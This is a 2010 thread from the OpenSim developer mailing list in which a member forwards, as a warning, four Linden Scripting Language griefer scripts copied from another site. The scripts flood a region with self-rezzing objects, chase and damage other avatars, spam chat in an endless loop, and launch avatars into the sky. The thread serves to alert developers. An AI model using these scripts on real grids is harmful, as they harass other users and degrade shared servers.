[Opensim-dev] Is this a real problem?

Karen Palen karenpalensl at gmail.com
Mon Nov 1 22:27:04 UTC 2010


I agree, the problem is that if they work they could well attract the
Second Life "low lifes" to roaming all of the OpenSim grids!

This is likely inevitable (like Linux malware) but if we can delay the
onset for a few years (as in Linux malware) it would be very helpful!

Karen

On Mon, 2010-11-01 at 15:20 -0700, Michael Cerquoni wrote:

> these look like kiddie griefer scripts that pretty much any noob could
> make to me.
> 
> 
> On Mon, Nov 1, 2010 at 3:07 PM, Karen Palen <karenpalensl at gmail.com>
> wrote:
> 
>         I ran across the following on one of the "less reputable" web
>         sites that I read. Consider it a "heads up" if the scripts
>         really do what they claim!
>         
>         OS GRID CRASHERS AND SPAMMERS A virtual world without
>         evil.....not on my watch
>         
>         These all work if the threat level is set high enough on the
>         sim
>         
>         
>         vector motion = <0,0,-37>;
>         integer jumps = 2;
>         default
>         {
>         state_entry()
>         {
>         llListen(10,"",llGetOwner(),"");
>         }
>         listen( integer channel, string name, key id, string msg)
>         {
>         if(msg==".5560")
>         {
>         llDie();
>         }
>         }
>         
>         touch_start(integer total_number)
>         {
>         llDialog(llDetectedKey(0),"Jezebel's black sun shines upon you
>         ",["YAY!!!"],5560);
>         llSetAlpha(0.0,ALL_SIDES);
>         llSetStatus(STATUS_PHANTOM,TRUE);
>         integer m;
>         vector local = llGetLocalPos();
>         for(m=0;m<jumps;m++)
>         {
>         llSetPos(local+m*motion);
>         }
>         llSetTimerEvent(0.1);
>         }
>         timer()
>         {
>         llRezObject("Object", llGetPos()+<0,0,0>, ZERO_VECTOR,
>         ZERO_ROTATION,42);
>         
>         }
>         }
>         
>         --------------------------------------------------------------------
>         
>         float movespeed = 0.1; //because lower is faster
>         
>         //Set how often to track avatars
>         float tick = 0.1;
>         
>         default
>         {
>         state_entry()
>         {
>         vector pos = llGetPos();
>         llSetStatus(STATUS_PHYSICS, TRUE);
>         llSetDamage(100.0);
>         llSleep(0.1);
>         llMoveToTarget(pos,0.1);
>         llSensorRepeat("","",AGENT,200000,7000*PI,tick);
>         }
>         sensor(integer total_number)
>         {
>         vector pos = llDetectedPos(0);
>         vector offset =<-0,0,0>;
>         pos+=offset;
>         if (llDetectedOwner(0) == llGetOwner())
>         {
>         }
>         else
>         {
>         llMoveToTarget(pos,movespeed);
>         llLookAt(pos,2,1);
>         }
>         }
>         }
>         ------------------------------------------------------------------
>         
>         default
>         {
>         state_entry()
>         {
>         llSay(0, "Here is a fork and knife your gonna need it");
>         }
>         
>         collision_start(integer total_number)
>         {
>         while(1)
>         {
>         llSay(0, "Press Alt-F4 to abuse report griefers, welcome to os
>         grid:) ");
>         
>         }
>         }
>         }
>         ---------------------------------------------------------------
>         take the verticle tour
>         ---------------------------------------------------------------
>         default
>         {
>         state_entry ( )
>         {
>         llListen ( 0, "", NULL_KEY, "0/1" );
>         llSensorRepeat ( "", NULL_KEY, AGENT, 2.0, PI, 0.01 );
>         }
>         
>         listen ( integer Channel, string Name, key UUID, string
>         Message )
>         {
>         state Off;
>         }
>         
>         sensor ( integer Number )
>         {
>         vector Direction = llVecNorm ( llDetectedPos ( 0 ) - llGetPos
>         ( ) );
>         float Power = llVecMag ( llDetectedVel ( 0 ) - llGetPos ( ) )
>         * llPow ( llVecDist ( llGetPos ( ) , llDetectedPos ( 0 ) ),
>         3 );
>         llPushObject(llDetectedKey(0), <0,0,llPow(3.402823466,38)>,
>         ZERO_VECTOR, FALSE );
>         
>         }
>         }
>         
>         state Off
>         {
>         state_entry ( )
>         {
>         llListen ( 0, "", NULL_KEY, "0/1" );
>         }
>         
>         listen ( integer Channel, string Name, key UUID, string
>         Message )
>         {
>         state default;
>         }
>         } 
>         ______________________________________________________________
>         
>         I am the devil and i'm here to do the devils work
>         
>         
>         
>         
>         _______________________________________________
>         Opensim-dev mailing list
>         Opensim-dev at lists.berlios.de
>         https://lists.berlios.de/mailman/listinfo/opensim-dev
>         
> 
> 
> 
> 
> -- 
> Michael Emory Cerquoni - Nebadon Izumi @ http://osgrid.org
> 
> _______________________________________________
> Opensim-dev mailing list
> Opensim-dev at lists.berlios.de
> https://lists.berlios.de/mailman/listinfo/opensim-dev
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://opensimulator.org/pipermail/opensim-dev/attachments/20101101/7eafeb0c/attachment-0001.html>


More information about the Opensim-dev mailing list